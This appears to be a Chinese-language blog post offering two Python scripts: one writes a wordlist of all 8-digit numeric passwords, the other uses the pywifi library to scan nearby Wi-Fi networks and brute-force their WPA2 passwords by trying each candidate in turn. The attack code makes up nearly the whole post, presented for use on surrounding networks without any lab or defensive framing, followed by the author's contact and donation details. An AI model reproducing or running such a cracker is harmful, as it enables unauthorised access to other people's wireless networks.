運行環境:win10 + python3.7
?
生成密碼的代碼如下:
----------------------------------------------------------------------------------------------------------------------------
?
import itertools as its if __name__ == '__main__': words_num = "1234567890" words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' r = its.product(words_num,repeat=8) dic = open("password-8位數字.txt","w") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close() print("完全寫入成功")
----------------------------------------------------------------------------------------------------------------------------
運行破解密碼代碼如下:
?
-------------------------------------------------------------------------------------------------------------------------------
?
import pywifi import time import constant import comtypes def getwifi(wifilist,wificount): wifi = pywifi.PyWiFi() # 抓取網卡接口 ifaces = wifi.interfaces()[0] # 獲取網卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() allwifilist = [] namelist = [] ssidlist = [] for data in bessis: if data.ssid not in namelist: #去掉重命名的wifi名稱 namelist.append(data.ssid) allwifilist.append((data.ssid,data.signal)) sorted(allwifilist,key=lambda st:st[1],reverse=True) time.sleep(1) n = 0 if len(allwifilist) is not 0: for item in allwifilist: if(item[0] not in ssidlist) & (item[0] not in wifilist): n+=1 if n <= wificount: ssidlist.append(item[0]) print(allwifilist) return ssidlist def getifaces(): wifi = pywifi.PyWiFi() # 抓取網卡接口 ifaces = wifi.interfaces()[0] # 獲取網卡 ifaces.disconnect() # 斷開無線網卡連接 return ifaces def testwifi(ifaces,ssidname,password): profile = pywifi.Profile() # 創建wifi連接文件 profile.ssid = ssidname # 定義wifissid profile.auth = constant.const.AUTH_ALG_OPEN #網卡開放 profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密單元 profile.key = password #wifi密碼 ifaces.remove_all_network_profiles()#刪除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile)#加載配置文件 ifaces.connect(tmp_profile) #連接wifi time.sleep(5) # 5秒能否連接上 if ifaces.status() == constant.const.IFACE_CONNECTED: return True else: return False def beginwork(wifinamelist): ifaces = getifaces() path = r'password-8位數字.txt' # wifi密碼文件 files = open(path,'r') while True: try: password = files.readline() password = password.strip(' \n') if not password: break for wifiname in wifinamelist: print("正在嘗試"+wifiname+','+password) if testwifi(ifaces,wifiname,password): wifinamelist.remove(wifiname) break if not wifinamelist: break except: continue files.close() if __name__ == '__main__': wifiname_e = ['HNIU'] #排除不破解的wifi的名字 wifinames = getwifi(wifiname_e,5) print(wifinames) beginwork(wifinames)
-------------------------------------------------------------------------------------------------------------------------------
?
如何代碼有問題或者需要優化的地方,歡迎二提出來了,謝謝!
聯系QQ:2433702912
?
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
